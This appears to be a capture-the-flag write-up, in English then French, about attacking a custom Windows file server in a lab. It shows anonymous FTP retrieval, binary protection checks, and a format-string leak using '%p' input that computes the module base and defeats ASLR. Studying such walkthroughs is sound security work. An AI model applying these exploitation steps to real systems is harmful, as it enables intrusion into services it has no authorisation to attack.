Anonymous FTP Access and File Retrieval
The FTP service accepts connection with the anonymous account without a password:
ftp 10.129.2.76
Connected to 10.129.2.76.
220 Microsoft FTP Service
Name (10.129.2.76:attacker): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5000|)
150 Opening ASCII mode data connection.
06-05-22 11:57AM 705536 filesrv.exe
06-05-22 02:43PM 275 README.txt
06-09-22 05:36AM <DIR> SysWOW64
226 Transfer complete.
ftp> dir SysWOW64
125 Data connection already open; Transfer starting.
05-11-22 03:46AM 683216 kernel32.dll
226 Transfer complete.
We retrieve three items of interest:
filesrv.exe — the service binary listening on port 2121README.txt — developer notesSysWOW64\kernel32.dll — a copy of the system DLL used by the service
The README.txt file provides crucial information:
cat README.txt
# FileSrv v0.2
Our simple file sharing server! Currently under development.
Changelog:
- After our last custom server got hacked we made sure to enable
all mitigations: ASLR, DEP, GS! Now it's 100% secure.
The developer explicitly confirms that memory protections have been enabled after a previous incident: ASLR (address randomization), DEP (Data Execution Prevention), and GS (stack cookie). All three mechanisms will need to be bypassed. The presence of kernel32.dll in the FTP is also a strategic clue: having an exact copy of the DLL used by the service allows pre-calculating Windows function offsets.
Static and Dynamic Binary Analysis
We check the binary's protections with ropper:
ropper --file filesrv.exe --dllcharacteristics
DllCharacteristics
==================
Name Value
---- -----
DynamicBase Yes
ForceIntegrity NO
NxCompat Yes
No Isolation NO
No SEH NO
No Bind NO
WdmDriver NO
ControlFlowGuard NO
TerminalServerAware Yes
DynamicBase: Yes confirms ASLR. NxCompat: Yes confirms DEP (NX bit active). Notable: No SEH: NO indicates that the SEH mechanism is present and SafeSEH is not applied, which opens the way for exploitation via the SEH chain. ControlFlowGuard: NO confirms the absence of CFG, which facilitates ROP chain construction.
We load the binary into WinDbg for dynamic analysis. The main function initializes a network structure via setup (address 0.0.0.0, port 2121), then calls server and handler.
The server function follows the classic TCP server sequence on Windows: WSAStartup → socket → htons → bind → listen.
The handler function uses select to monitor active descriptors, accepts connections with accept, allocates a buffer via memset, reads up to 4096 bytes with recv, then creates a thread per connection via CreateThread. Each thread executes the StartAddress function.
In StartAddress, each received message passes through the menu function which prepares the response, which is then sent to the client via send.
The menu function splits the buffer into two parts separated by a space: the command and the path. It applies checks on the path (rejecting .., C:\, \) before constructing the response. For valid paths, it likely uses snprintf to copy Path: followed by the path content into the response buffer. Two commands are recognized: LST (list directory) and GET (base64 encoded file content).
Analyse du protocole et découverte de la vulnérabilité Format String
On commence à interagir avec le service. Les restrictions de chemin fonctionnent comme décrit :
nc 10.129.2.76 2121
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
En revanche, la barre oblique / n'est pas interdite et permet de lister les fichiers depuis la racine :
LST /
Path: /
C:\Documents and Settings
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Users
C:\Windows
Toute commande inconnue retourne une erreur avec le chemin reflété :
TEST hello
ERROR: Can not open Path: hello
Le chemin utilisateur est intégré directement dans la réponse. On teste si l'entrée est traitée comme une chaîne de format en envoyant des spécificateurs %p :
TEST %p.%p
Dans WinDbg, on pose un breakpoint sur l'appel à send et on inspecte le buffer de réponse :
db poi(esp + 4)
013c25b0 45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f ERROR: Can not o
013c25c0 70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30 pen Path: 1DE700
013c25d0 34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba 4F.3F2A4120.....
Les spécificateurs %p ont bien été interprétés comme des pointeurs de pile. Au lieu du texte littéral, la réponse contient deux adresses mémoire. Le second pointeur (3F2A4120) se situe dans le segment code du binaire. En le soustrayant de l'adresse de base du module observée dans WinDbg, on obtient un offset fixe :
lm m filesrv
start end module name
3f290000 3f340000 filesrv
? 0x3f2a4120 - 0x3f290000
Evaluate expression: 82208 = 00014120
L'offset constant est 0x14120. Cette vulnérabilité de type Format String permet de calculer dynamiquement l'adresse de base du binaire à chaque connexion, neutralisant ainsi l'ASLR. Tous les gadgets ROP du binaire pourront être adressés précisément sous la forme binary_base + offset_statique.